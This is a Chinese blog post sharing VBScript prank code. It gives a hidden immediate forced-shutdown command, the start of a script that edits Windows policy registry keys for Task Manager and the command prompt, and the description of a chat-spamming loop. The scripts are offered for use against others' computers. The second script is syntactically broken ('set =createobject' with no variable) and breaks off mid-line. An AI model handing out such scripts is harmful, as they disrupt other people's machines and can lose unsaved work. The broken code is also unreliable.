VBS代码（二）

#摸鱼.

已于 2022-11-25 12:48:15 修改

阅读量2.4k

点赞数

文章标签：其他

于 2022-11-20 10:58:42 首次发布

本文链接：https://blog.youkuaiyun.com/m0_74391978/article/details/127946445

版权

本文介绍了如何使用VBS代码实现直接关机、强制关机以及进行弹幕轰炸的效果。在弹幕轰炸部分，用户需预先准备文字并剪切，通过双击程序并在聊天框中触发，`for i=1 to 100`循环可自定义发送次数。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

hhh我们又见面了，下面是这次的vbs代码推送：
目录

1.直接关机

2.强制关机（解决方法：再打开一遍）

3.弹幕轰炸

注：先在聊天软件的输入框中打出想要发送的文字并剪切，双击程序后点击聊天框。“for i=1 to 100” 此处的100为发送次数，可自行更改。

1.直接关机

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true

2.强制关机（解决方法：再打开一遍
）

set =createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD